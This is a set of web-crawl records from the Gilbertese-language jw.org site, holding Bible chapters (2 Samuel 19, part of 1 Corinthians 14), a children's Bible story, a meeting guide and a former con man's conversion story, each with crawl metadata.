Ebera, \"te taeka.\"\n^ E ataaki naba bwa te Toa ae Taiani Wiki, ke Bentekota.\n^ E ataaki naba bwa te Toa ae Umwanrianna.\n^ Ke, \"N na kakoroi raoi mwaitin am bong.\"\n^ Ke, \"N na karaoiia aiam bwa a na anga akuia nakoim.\"\n^ Ke tao, \"nakonnano; maaku.\"\n^ Ae taekan te Iuberetiti.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-otinako\/23\/","date":"2018-04-23T06:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00489.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1026,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19 E kaongoaki Ioaba ae kangai: \"E a tanginiwenei ma n nanokawaki te uea ibukin Abetarom.\"+ 2 Mangaia are e a bitaki te tokanikai* n te bong anne nakon te nanokawaki irouia aomata ni kabane, ibukina bwa a ongo ae e a rawawata te uea ibukin natina. 3 N te bong anne ao a oki aomata nakon te kaawa n aki kakarongoa,+ n ai aroia aomata aika maamaa ibukina bwa a birinako man te buaka. 4 E rabuna ubuna te uea ao e teimatoa n tang n te bwanaa ae korakora ni kangai: \"Natiu ae Abetarom! Abetarom ae natiu, natiu!\"+ 5 E rinnako ngkanne Ioaba nakon te uea n te auti ao e taku: \"N te bong aei ao ko a tia ni kamaamaeia am toro ni kabane, ake a kamaiuko n te bong aei, ao a kamaiuia naba natim mwaane,+ natim aine,+ buum, ao buum ni kewe.*+ 6 Ko tangiriia akana ribaiko ao ko ribaiia akana tangiriko, bwa ko katerea raoi n te bong aei bwa bon akea uaaia am mataniwi ao am toro iroum, ibukina bwa I ataia raoi bwa e na bon nakoraoi iroum ngke arona bwa tii Abetarom ni maiu n te bong aei ao ngaira ti bane ni mate. 7 Ko na teirake ngkai, ao otinako ni karaui nanoia* am toro, ibukina bwa I taetae n tuea iroun Iehova bwa ngkana ko aki otinako, ao e na akea te aomata temanna ae e na tiku iroum n te tairiki aei. E na kakaiaki riki aei nakoim nakon rawawata ni kabane ake a a tia n roko iroum mangke te roro n rikirake ngkoe ni karokoa ngkai.\" 8 Ngaia are e teirake te uea ma n tekateka ni mataroan oon te kaawa, ao a kaongoaki aomata ni kabane ae kangai: \"E a tekateka ngkai te uea ni mataroan te oo.\" Ao a bane aomata n roko i matan te uea. Ma a a tia ni birinako nikiraia tibun Iteraera* nakoni mwengaia n tatabemania nako.+ 9 Ao a kauntaeka aomata ni kabane ake n aia baronga nako tibun Iteraera, ao a kangai: \"E a tia ni kamaiuira te uea mairouia taani kairiribai nakoira,+ ao e kamaiuira mairouia I-Biritia, ma ngkai e a birinako man te aba ibukin Abetarom.+ 10 Ao Abetarom are ti rineia bwa te uea i aora*+ e a tia ni mate n te buaka.+ Mangaia ae bukin tera bwa akea te bwai ae kam karaoia ngkai ibukini kaokan te uea?\" 11 E kanakoa te rongorongo ae kangai te Uea are Tawita nakoia ibonga* ake Tatoka+ ma Abiata:+ \"Taetae nakoia unimwaane aika tibun Iuta+ ao kangai, 'Bukin tera ngkai kam riki bwa taiani kabane ni kaira te uea ni kaokia nakon ana auti, ao e a tia n roko aia taeka tibun Iteraera ni kabane n ana auti te uea? 12 Bon tariu ngkami, ao bon oin riiu ma irikou* ngkami. Bukin tera bwa kam riki bwa taiani kabane ni kaira te uea n oki?' 13 Ao kam na kangai nakon Amataa,+ 'Tiaki bon oin riiu ma irikou ngkoe? Mangaia ae ke e katuuaaeai te Atua ao ni kamwaitia riki, ngkana ko aki riki mangkai bwa mataniwia au taanga ni buaka n onea mwin Ioaba.'\"+ 14 Mangaia are e anai* nanoia mwaane aika tibun Iuta ni kabane n aron ae kaanga te mwaane ae tii temanna ngaiia, ao a kanakotaeka nakon te uea ni kangai: \"Ko na oki, ngkoe ma am toro ni kabane.\" 15 E a oki te uea ao e a roko n te Ioretan, ao a bane tibun Iuta n roko i Kirekara+ bwa a na kaitiboo ma te uea ao ni kairia n rinanon te Ioretan nakon iterana are teuana. 16 Ao Timei+ are natini Keera are tibuni Beniamin mai Baurim, e ienikuri ni mwananga ma mwaane aika tibun Iuta bwa a na kaitiboo ma te Uea are Tawita, 17 ao raona mwaane aika tibuni Beniamin aika 1,000. Ao Tiba+ are te toro ni batan Tauro, e ienikuri naba ni mwananga nakon te Ioretan n rimoan te uea, ma raona natina mwaane aika 15 ao ana toro aika 20. 18 E* rinanoni kaoran te karaanga bwa e na kairiia kaaini batan te uea n rinanon te karaanga nakon iterana are teuana, ao ni karaoa are e tangiria te uea. Ma ngke e nang rinanon te Ioretan te uea nakon iterana are teuana, ao Timei are natini Keera e a bobaraaki naba i matana. 19 E taku nakon te uea: \"Ke e tai motika taekau au toka bwa I bure, ao tai uringa te kairua are e karaoia am toro+ n te bong are e otinako iai au toka ae te uea mai Ierutarem. E bia aki kaaki i nanona te baei te uea, 20 bwa e ataia raoi am toro bwa I boni bure. Mangaia ae I a riki bwa te moan roko n te bong aei mai buakoia tibun Ioteba ni kabane bwa N na kaitiboo ma au toka ae te uea.\" 21 E aki tabwara Abitiai+ are natin Teruia+ ma e a taku naba: \"Tiaki e bon riai ni kamateaki Timei ibukin te baei, bwa e a tia n taetae ni karekea kain ana kabiraki Iehova?\"+ 22 Ma e taku Tawita: \"Tera irekerekemi n aei ngkami aika natin Teruia,+ ngkai kam na ekainako n te bong aei? E riai bwa e na kamateaki te aomata temanna i Iteraera n te bong aei? Bwa tiaki I ataia ae I a riki n te bong aei bwa uean Iteraera?\" 23 Ao e taku te uea nakon Timei: \"Ko na aki mate.\" Ao e taetae n tuea te uea nakoina.+ 24 E mwananga naba Mebiboteta+ are tibun Tauro, bwa e na kaitiboo ma te uea. E tuai man teboki waena ke ni kakororoa buaina* ke ni kaitiakii kunnikaina, man te bong are e nako iai te uea ni karokoa te bong are e oki iai ma te rau. 25 Ngke e roko i* Ierutarem bwa e na kaitiboo ma te uea, ao e taku te uea nakoina: \"E aera ngke ko aki irai Mebiboteta?\" 26 E kaeka ni kangai: \"Au toka ae te uea, e mwamwanaai au toro.+ Bwa e taku am toro, 'Ke e katokaaki te kaintoka i aon au taongki bwa N na toka iai n ira te uea,' bwa e mwauku am toro.+ 27 Ma e uaraoa am toro nakon au toka ae te uea.+ Ma au toka ae te uea kaanga ai aron ana anera te Atua ae koaua, mangaia ae ko na karaoa ane ko taku bwa e raoiroi iroum. 28 A kona kaaini batan tamau ni kabane ni kamaunanakoaki ni kamateaki iroun au toka ae te uea, ma n oneani mwin anne, ko kaaki am toro i rarikia akana amwamwarake n am taibora.+ Mangaia ae tera riaiu n tang riki nakon te uea?\" 29 Ma e taku te uea nakoina: \"E aera ngkai ko teimatoa n taetae n te aro aei? I a tia n iangoia bwa kam riai n ibuobuoka te tawaana ngkoe ma Tiba.\"+ 30 Ao e taku Mebiboteta nakon te uea: \"Ke e anai ni kabane, bwa e a oki ngkai au toka ae te uea nakon ana auti ma te rau.\" 31 Ao e ruo rikaaki mai Rokerim Baretirai+ are te I-Kireata nakon te Ioretan bwa e na bakaboraua te uea nakon te Ioretan. 32 E a rangi ni kara Baretirai bwa ai 80 ana ririki, ao e kakarekea te amwarake nakon te uea ngke e mena i Maanaim,+ bwa bon te mwaane ngaia ae rangi ni kaubwai. 33 Mangaia are e taku te uea nakoni Baretirai: \"Ko na irai nakon iterana are teuana, ao ko na bon amwamwarake ma ngai i Ierutarem.\"+ 34 Ma e taku Baretirai nakon te uea: \"Irabong nikiran au bong* ni maiu, ngkai I riai ni waerake ma te uea nako Ierutarem? 35 Ai 80 au ririki n te bong aei.+ I kona n ataa te kaokoro i marenan ae raoiroi ma ae buakaka? I kona, ngai ae am toro n nora kangkangin te bwai ae I kanna ao n nimma? I kona naba ngkai n ongora ni bwanaaia taan anene?+ Mangaia ae e aera ngkai e riai am toro ni manga reke riki bwa karawawataan au toka ae te uea? 36 E tii kona am toro ni bakaboraua te uea nakon te Ioretan. Bukin tera bwa e na kabooa mwina nakoiu te uea n te kaniwanga aei? 37 Taiaoka kariaia am toro bwa e na oki, ao kariaia bwa N na mate n au kaawa i rarikini nneni kawenean tamau ma tinau.+ Ma aio am toro ae Kimam.+ Kariaia bwa e na mwananga ma au toka ae te uea nakon iterana are teuana, ao karaoa nakoina ane ko taku bwa e raoiroi iroum.\" 38 Mangaia are e taku te uea: \"E na mwananga ma ngai Kimam nakon iterana are teuana, ao N na karaoa nakoina ane ko taku bwa e raoiroi iroum. N na karaoa ibukim te bwai ane ko butiiai.\" 39 A a bane ngkai aomata n rinanon te Ioretan nakon iterana are teuana, ao ngke e a mwananga te uea nakon iterana are teuana, ao e a kaboria ma Baretirai+ ao e kakabwaiaa. Ao e a okira mwengana Baretirai. 40 Ngke e a mwananga te uea nako Kirekara are n iterana are teuana+ ao e mwananga naba Kimam ma ngaia. Ao a bane tibun Iuta ma iterani mwaitiia tibun Iteraera ni kaira te uea ao ni mwananga nakon iterana are teuana.+ 41 Ao a kawara te uea mwaane ni kabane aika tibun Iteraera ao a taku nakoina: \"Bukin tera bwa a karabaia n anaiko tarira aika mwaane aika tibun Iuta, ao a kaira te uea ma kaaini batana n rinanon te Ioretan nakon iterana ae teuana, n ikotaki ma ana rorobuaka ni kabane Tawita?\"+ 42 A bane mwaane aika tibun Iuta ni kaekaia mwaane ake tibun Iteraera ni kangai: \"Ibukina bwa bon ara koraki te uea.+ Bukin tera ngkai kam un n te baei? Ti a tia ni kana te bwai teuana ae e karekea te uea, ke iai te bwaintangira ae ti a tia n anganaki?\" 43 Ma a kaekaia mwaane aika tibun Iuta ni kangai mwaane aika tibun Iteraera: \"Iai riki inaomatara tebwina te tai iroun te uea, mangaia ae e bati riki inaomatara iroun Tawita nakoimi. Ao bukin tera ngkanne ngkai kam kabuakakaira? Tiaki ti bon riai n riki bwa taani moani kaira ara uea ni kaokia?\" Ma e tokanikai* aia taeka mwaane aika tibun Iuta i aon aia taeka mwaane ake tibun Iteraera.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"kakamaiu.\"\n^ Ebera, \"taetae nakon nanoia.\"\n^ Ae taekaia te koraki ake a boutokaa Abetarom.\n^ Ebera, \"kabiria i aora.\"\n^ Nora Nanon Taeka.\n^ Ke, \"au koraki aika bon raraau.\"\n^ Ebera, \"e kabwaouai.\"\n^ Ke tao, \"A.\"\n^ Ke, \"buaina ake i aon riana are mai eta.\"\n^ Ke tao, \"mai.\"\n^ Ebera, \"bongin ririkin.\"\n^ Ke, \"e kakaiaki riki.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-tamuera\/19\/","date":"2018-04-19T19:43:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00017.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1751,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BUKINI KAKAWAKINA:\nA kona n ringaki nanoia aomata n taian taamnei ngkana a nori ao n ongoraei. A buokaki iai ni kaatuui aia iango ao n teimatoa n ururingi. E katea te katoto ae moan te tamaroa Iehova ni kaineti ma kabonganaani baika kona n noraki ibukin te angareirei.\nA boutokaaki taamnei aika Iai Aran te Atua?, Antai ae Korea te Baibara?, ao Ti na Kangaa n Ataia Bwa E Boni Koaua te Baibara? n reirei 2 ao 3 n te boroutia ae te Rongorongo ae Raoiroi. N taamnei aika E Aera Ngkai E Raoiroi te Reirei n te Baibara?, E Kangaa Aroni Kairan te Reirei n te Baibara?, ao Tera ae Riki n te Tabo n Taromauri?, a kaungaaki iai aomata nako bwa a na reirei n te Baibara ma ngaira ke ni kaei bobotaki n te ekaretia. A kona naba ni kabonganaaki taamnei aika abwabwaki ibukin te angareirei nakoia aika reirei n te Baibara.\nARONI KARAOANA:\nKamani karekea n te intanete te taamnei ae ko kani kaotia nakoni kaain te auti\nKatauraoa teuana ke uoua te titiraki ae e na kaekaaki man te taamnei\nKaai ni mataku n te taamnei\nMaroroakin reirei aika kakawaki\nKATAA AEI:\nNakon akun teuana ara turaeki, ao kaota te code are e kona n oti iai te taamnei ae E Aera Ngkai E Raoiroi te Reirei n te Baibara?\nKaota te taamnei ae Ti na Kangaa n Ataia Bwa E Boni Koaua te Baibara? ao aanga te boroutia ae te Rongorongo ae Raoiroi, ni kabwarabwaraa reirei 3","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tun-2016-mwb\/kaetieti-n-te-botaki-tun6-12\/jw-taamnei-angareirei-baibara\/","date":"2018-04-21T17:32:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945272.41\/warc\/CC-MAIN-20180421164646-20180421184646-00012.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":251,"character_repetition_ratio":0.098,"word_repetition_ratio":0.025,"special_characters_ratio":0.212,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E mate Iotua ngke 110 ana ririki imwini kairaia ana aomata Iehova i nanon ririki aika bati. A taromauria Iehova tibun Iteraera n ana bong ni maiu Iotua ni kabane, ao imwini matena, a a taromaurii bouannanti n aroia kaaini Kanaan. Ibukina bwa tibun Iteraera a aikoa kakairi iroun Iotua, e a kariaia Iehova ueani Kanaan are Iabin bwa e na karawawataia. A boni bubutiia Iehova buokaia. Ngaia are e a angania Iehova te tia kairiri ae boou ae Bwaraka. E na buokiia teuaei ni kaokiia nakon Iehova.\nE kanaanako Tebora ae te burabeti n aine bwa e na weteaki Bwaraka. Iai iroun neiei ana rongorongo Iehova nakon teuaei ae kangai: 'Kairiia mwaane aika 10,000 nakon te karaanga ae Kition ao kam na kaitiboo iai ma ana taanga ni buaka Iabin. Ao ko na kataenikaia Titera are mataniwin ana taanga ni buaka Iabin.' E taku Bwaraka nakon Tebora: 'N na nako ma tii ngkana ko irai.' E taku Tebora: 'N na iriko. Ma ko riai n ataia ae tiaki ngkoe ae ko na tiringa Titera bwa e a tia n taekinna Iehova ae e na tiringaki iroun te aine.'\nAo Tebora e a ira Bwaraka ma ana taanga ni buaka nakon te Maunga ae Tabora ni katauraoiia imwain te buaka. Ngke e ongo aei Titera, e aki tabwara ma e a botii naba ana kaa ni buaka ma ana tautia n te mwarua mai nano. E taku Tebora nakoni Bwaraka: 'Aio te bong are e na anganiko Iehova te tokanikai.' Ao e ruo Bwaraka ma ana rorobuaka ake 10,000 man te maunga ao a buaka ma ana taanga ni buaka ae korakora Titera.\nE a karokoa ngkanne Iehova te ieka n te karaanga ae Kition, ao a a bae ana kaa ni buaka Titera n te bokaboka. Ngaia are e a kitana ana kaa ni buaka Titera ao e a birinako. A konaaki ana taanga ni buaka Titera irouia ana tautia Bwaraka ma e birinako n rawea maiuna Titera! E birinako ni karabaa n ana umwanrianna te aine ae Iaera. E kamoia n te miriki neiei ao e rabunna n te rabuna. Ao ngke e a matunako te tia buaka ae rangi ni kua aei, e a karaurau Iaera nakon teuaei ao e ewara borana ni kain rooan te umwanrianna. Ao e a mate Titera.\nE a roko Bwaraka ni kakaaea Titera ao e otinako Iaera ni kawara teuaei, ao e taku: 'Rinnako bwa N na kaota nakoim te mwaane ane ko kakaaea.' Ngke e rinnako Bwaraka ao e a nora Titera ni wene ni mate. A anene n neboa Iehova Bwaraka ma Tebora kioina ngkai e a tia n angania tibun Iteraera te tokanikai i aoia taani kairiribai nakoia. A tiku n rau tibun Iteraera 40 riki te ririki imwina.\n\"Bon te taanga ae abwabwaki aine aika tataekina te rongorongo ae raoiroi.\"—Taian Areru 68:11","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/6\/tebora-bwaraka-iaera\/","date":"2018-04-21T06:59:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945037.60\/warc\/CC-MAIN-20180421051736-20180421071736-00587.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":470,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE RIRIKI AE BUNGIAKI IAI: 1954\nABANA: CANADA\nRONGORONGONA: TE TIA BABAKANIKAWAI, TE TIA TAKAAKARO N TE MWANE\nAROU RIMOA:\nI ikawairake n te tabo ae a maiu ni kainnano kaaina n te kaawa ae Montreal. E mate tamau ngke onoua au namwakaina ike e a katuka iai tinau bwa e na karaoi mwioko ni kabane n te mwenga. Bon te kabanea n uarereke ngai n te utu i buakoia ataei aika waniman mwaitiia.\nNgke I a tabe n ikawai, e a otabwaniniaki maiu ni katoa bong ni kamanenaan taian drug, te takaakaro n te mwane, te iowawa ao te iraorao ma aomata aika maiubuaka. Ngke ai tebwina au ririki, I a moana karaoani mwakuri ibukia aine aika kakabooaki ao taani katangomwane aika babakanikawai. I bwaina te kewe n angiin te tai ao I kukurei ni babakanikawaiia aomata n aanga nako. E a riki bwa anuani maiu karaoan aei irou.\nNgke e a koro 14 au ririki, I a rabakau riki ni karaoi aanga aika N na mwamwanaia iai aomata. N te katoto, I kabooi taai, burenibai ao mwaamwa aika koora ao ni kanikinaei bwa aongkoa 14 te carat te koora i nanoia ma a kai tae. Imwina, I a kaboonakoi i rarikin te kawai ao n taabo ake a kateaki iai kaa n taabo ni boobwai. I rangi ni mimi n aroni bebeten te karekemwane iai. N te taina, I a karekea mwaitin te mwane ae $10,000 n tii tebongina!\nImwini kabaneakiu ngke 15 au ririki man te kuura ibukin kaetan aroia ataei, ai bon akea te tabo ae N na maeka iai. I matu irarikin te kawai, taabo ni kamaangang ke ni mwengaia raoraou.\nI aki toki n titirakinaki irouia bureitiman ibukin au mwakuri ni mwamwanaia aomata. Kioina ngkai I aki kaboonakoi baika I iraei, I aki te roko ni kamatawarikaki. Ma e ngae n anne, I boni kabwakai tuuaa aika bubura ibukin te babakanikawai, tataekinan rongorongo aika kewe ao kaboonakoani bwaai n akea au raitienti. Ibukin aki mamaakuu, I rikoi naba aia mwane taani katangomwane aika babakanikawai. E karuanikai te waaki anne ao I kona n uouota te katii n tabetai. N taai tabetai, I a manga mwakuri ma aia botaki aomata aika maiubuaka.\nARONI BITAKINI MAIU MAN TE BAIBARA: I moan nora te Baibara ngke 17 au ririki.\nI maeka ma raou ngke e a moana ana reirei n te Baibara ma Ana Tia Kakoaua Iehova. Ma e ngae n anne, I kaaitarai ana reirei te Baibara ibukini baika katabuaki ni kaineti ma te aroaroni maiu, ngaia are I a kitana neiei ao I a manga nako ni maeka ma te aine ae I iraorao ni karekenano ma ngaia.\nE reke te bitaki irou ngke e a manga moana ana reirei n te Baibara raou ae te kauoman ma taani Kakoaua! E karaoi bitaki ni maiuna ao I rangi ni mimi ngkai e a moanna n nimamannei ao n taotaonakinnano. I butimwaea te kakao nakon te botaki n Aia Tabo n Taromauri Ana Tia Kakoaua Iehova. I butimwaeaki irouia aomata aika raoiroi ao n akoi. Boni kaitaraan raoi te aroaro ni maiu ae I ataia! I tuai man namakina tangirau irouia kaain au utu. E uarereke namakinan te tangiraki ao te akoaki i nanon uarerekeu. Te tangira are I namakinna i buakoia Ana Tia Kakoaua Iehova, boni ngaia raoi te bwai ae I kani karekea. Ngke a tangiria taani Kakoaua n reirei n te Baibara ma ngai, I a butimwaeia ma te kukurei.\nI boni kamaiuaki mani baike I reiakini man te Baibara. I a kaman tia ni bairea karaoan te mwakuri n iraa ma raou aika uoman, bwa e aonga ni bwara ara taarau n te takaakaro n te mwane ae e raka i aon $50,000. Ma ai kukureira ngai ngke I a manga buubai mai iai! A boni karaoa te mwakuri n iraa raou akekei. E kabureaki temanna ao e tiringaki are temanna.\nNi waakinakon au reirei n te Baibara, I a noria bwa e mwaiti te bitaki ae I riai ni karaoi. N te katoto, I reiakina ae taekinaki n te Baibara n 1 I-Korinto 6:10 ae kangai: 'Taan iraa, ke aomata aika nanonrang ke taani mamanging, ke taani kabuakaka, ke taan aonikai ni kuribwai, e aki kona n reke Ana Tautaeka n Uea te Atua irouia.' E bon rotai te tang ibukin rawawatan te bae I rinanona ngke I wareka te kibu anne. I a ataia ae I riai ni bita maiu ni kabane. (I-Rom 12:2) I bwaina te iowawa ao te kewe i nanoni maiu.\nMa e ngae n anne, I a ataia naba imwin au reirei n te Baibara ae e nanoanga Iehova ao ni kabwarai buure. (Itaia 1:\nI teimatoa ni maiu ngkai ibukina bwa I maiuakini booto n reirei man te Baibara\nI mare ngke 24 au ririki ao teniman natiu. I a riai ngkai ni kakaaea au mwakuri ae eti i aan te tua. Ma e uarereke au reirei ao akea naba mwin au mwakuri man taabo tabeua. I a manga kakorakoraai riki n tataro nakon Iehova ao imwina I a nako ni kakaaea au mwakuri. I taekinna nakoia taani kammwakuri bwa I tangiria ni bita maiu ao ni karaoa te mwakuri ae raoiroi. N taai tabetai, I kabwarabwaraa ae I reirei n te Baibara ao I tangiria n riki bwa kaain te aba ae raoiroi aroaroni maiuna. A rawa ni kateirakeai angiina taani kammwakuri. N tokina, imwini kabwarabwaraani maiu rimoa n tain au maroro riki teuana ibukin te kareke mwakuri, e a taku te tia kammwakuri: \"I aki raoi ataa bukina ngkai I kabwaatiko ma iai te bwai ae tuangai bwa N na riai ni karekea am mwakuri.\" I a kakoauaa raoi bwa bon aei kaekaan au tataro. Imwin teutana te tai, I a bwabetitoaki ma buu bwa kaain Ana Tia Kakoaua Iehova.\nAROU NI KAKABWAIAAKI:\nI teimatoa ni maiu ngkai ibukina bwa I maiuakini booto n reirei man te Baibara ma ni maiuakina te maiu ni Kristian ao e a nakoraoi au utu. I kakoauaa ae e a tia Iehova ni kabwaraa au bure ao I a kukurei ngkai e a itiaki mataniwin nanou.\nInanon 14 te ririki n nako, I a tia ni kabwanina au tai n te mwakuri ni minita ni buokiia tabemwaang n reiakina te bae e reiakinaki n te Baibara ao ngkai, e a raonai buu ni karaoan te mwakuri aei. Inanon 30 te ririki n nako, I a tia ni karekea te kimwareirei ni buokiia raou ni mwakuri aika 22 mwaitiia bwa a na moana taromaurian Iehova. I teimatoa n nanako n taabo ni boobwai ma tiaki ibukin ae N na babakanikawaiia aomata n aron are I kakaraoia rimoa. I a tibwaa ngkai taekan au onimaki n angiin te tai ngkana I roko ikanne. I a tangiria ngkai n angania te bwai teuana ae boni kantaningaan te maiu n te tai ae na roko n te aonnaba ae boou are akea iai taani babakanikawai.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150501\/te-tia-takaakaro-n-te-mwane-te-tia-babakanikawai\/","date":"2018-04-20T00:24:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937074.8\/warc\/CC-MAIN-20180419223925-20180420003925-00189.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1139,"character_repetition_ratio":0.055,"word_repetition_ratio":0.011,"special_characters_ratio":0.221,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14 Ukoukora te tangira ma teimatoa naba n ukoukora karekeani* bwaai n tituaraoi rinanon te taamnei, ma ai moarara riki bwa kam aonga n taetae ni burabeti.+ 2 Bwa ane e taetae n te taetae ae kaokoro ao e aki taetae nakoia aomata ma e taetae nakon te Atua, bwa akea ae e ota iai,+ ngkai e taekini baika raba aika tabu+ rinanon te taamnei. 3 Ma ane e taetae ni burabeti ao e kateimatoaia aomata ma ni kaungaia ao ni kabebeteia n ana taetaenikawai. 4 Ane e taetae n te taetae ae kaokoro, ao e kateimatoa i bon irouna, ma ane e taetae ni burabeti ao e kateimatoa te ekaretia. 5 Ao I tangiringkami ni kabane bwa kam na taetae n taetae aika kakaokoro,+ ma I tangiria riki bwa kam na taetae ni burabeti.+ Ni koauana, ane e taetae ni burabeti ao e kakannato riki nakon ane e taetae n taetae aika kakaokoro, ibukina bwa ngkana e aki kabwaraa* ana taeka ane e taetae n taetae aika kakaokoro, ao e aki kateimatoaaki iai te ekaretia. 6 Ma n te tai aei taari, ngkana I roko iroumi ao I taetae n taetae aika kakaokoro, ao tera manenana nakoimi ngkana I aki taekina nakoimi te kaotioti,+ ke te atatai,+ ke te taetae ni burabeti, ke te reirei? 7 Ai aron naba baika aki maiu aika a kona n tang, ae tao te kaibwabwaa ke te abi. Ngkana e aki bibitaki eena, e na kangaa ngkanne n ataaki bwa te kuna raa are katangaki n te kaibwabwaa ke te abi? 8 Bwa ngkana e aki mataata tangin te buu, ao antai ae e nang katauraoi nakon te buaka? 9 N aron naba anne, ngkana kam aki kabongana te taetaenikawai ae kai ataaki nanona ni wimi, ao e na kangaa n ataaki nanon ae taekinaki? Ni koauana kam na taetae iai nakon te ea. 10 Tao bon iai aeka n taetae aika bati n te aonnaba, ma akea te taetae teuana ae akea nanona. 11 Bwa ngkana I aki ota n nanon te taetae, ao kaanga te ianena ngai iroun ane e taetae, ao kaanga te ianena irou ane e taetae. 12 Bon aromi naba anne. Kioina ngkai a ingainga nanomi ni bwaai n tituaraoi ake a reke rinanon te taamnei, ao ukoukora kabatiaani bwaai n tituaraoi aikai iroumi bwa kam aonga ni kateimatoa riki iai te ekaretia.+ 13 Mangaia ae ke e tataro ane e taetae n te taetae ae kaokoro bwa e kona ni kabwaraa* naba nanon ana taeka.+ 14 Bwa ngkana I tataro n te taetae ae kaokoro, ao e tataro iai ana bwaintituaraoi te taamnei are I anganaki, ma akea au iango iai. 15 Tera ngkanne ae e na karaoaki? N na tataro n ana bwaintituaraoi te taamnei, ma N na tataro naba ma au iango. N na anene n nebonebo n ana bwaintituaraoi te taamnei, ma N na anene naba ma au iango. 16 Ngkana ko nebonebo n ana bwaintituaraoi te taamnei, ao e na kangaa ngkanne te aomata ae aki atatai n taekina \"Amen\" nakon am katituaraoi, ngkai e aki ataa nanon te bwai ae ko taekinna? 17 E koaua bwa ko boni katituaraoi n te aro ae raoiroi, ma e aki kateimatoaaki iai te aomata are temanna. 18 I katituaraoa te Atua ngkai I taetae n taetae aika mwaiti riki nakoimi ni kabane. 19 Ma e raoiroi riki irou bwa N na taekin taeka aika nimaua aika mataata, bwa I aonga n reireinia naba tabemwaang n te ekaretia, nakon ae N na taekin taeka aika tebwina tenga n te taetae ae kaokoro.+ 20 Taari, kam na tai riki bwa ataei ni kaineti ma ami ataibwai,+ ma kam na riki bwa ataei nakon te buakaka+ ao kam na ikawai raoi ni kaineti ma ami ataibwai.+ 21 E koreaki ae kangai n te Tua: \"E taku Iehova,* 'N na taetae nakoia aomata aikai n te taetae ae ianena ao n aia taetae* iruwa, ma e ngae n anne a na bon aki ongo irou.'\"+ 22 Mangaia ae te taetae n taetae aika kakaokoro bon te mwakuri ae kamimi, ae tiaki ibukia ake a onimaki, ma ibukia ake a aki onimaki,+ ma te taetae ni burabeti ngkanne, bon tiaki ibukia ake a aki onimaki ma ibukia ake a onimaki. 23 Mangaia ae ngkana a ikotaki kaain te ekaretia ae bwanin n te tabo teuana, ao a bane n taetae n taetae aika kakaokoro, ma ngkana a rin aomata aika aki atatai ke aika aki onimaki, tiaki a na taku bwa kam rangirang? 24 Ma ngkana kam taetae ni burabeti ngkami ni kabane, ao e rin ane e aki onimaki ke ane e aki atatai, ao e na riki ami taeka ngkami ni kabane bwa boaakina, ao e na kairaki iai bwa e na nenera raoi arona. 25 Ao e nang oti raoi iai nanona ae raba, n te aro are e nang katorobubua ni bobaraaki ma n taromauria te Atua ni kangai: \"E boni mena te Atua i buakomi.\"+ 26 Tera ngkanne ae e na karaoaki taari? Ngkana kam ikotaki, ao temanna e taekina te areru, ao are temanna e angareirei, ao are temanna e taekina te kaotioti, ao are temanna e taetae n te taetae ae kaokoro, ao are temanna e kabwaraa nanon are e taekinaki.+ Ke a karaoaki bwaai ni kabane ibukini kateimatoaan te aba. 27 Ao ngkana iai ae e taetae n te taetae ae kaokoro ao ke e na aki raka i aon uoman ke teniman ae taetae, ao e na taetae temanna imwin temanna. Ao e riai temanna ni kabwarai nanon*+ aia taeka. 28 Ma ngkana akea te tia kabwara taeka,* ao e riai ni kainabwabu n te ekaretia ma n taetae i bon irouna nakon te Atua. 29 Ke a taetae uoman ke teniman burabeti,+ ao ke a kakaaea nanona ake temwangina. 30 Ma ngkana e roko te kaotioti iroun temanna are tekateka ikanne, ao ke e kainabwabu are e tabe n 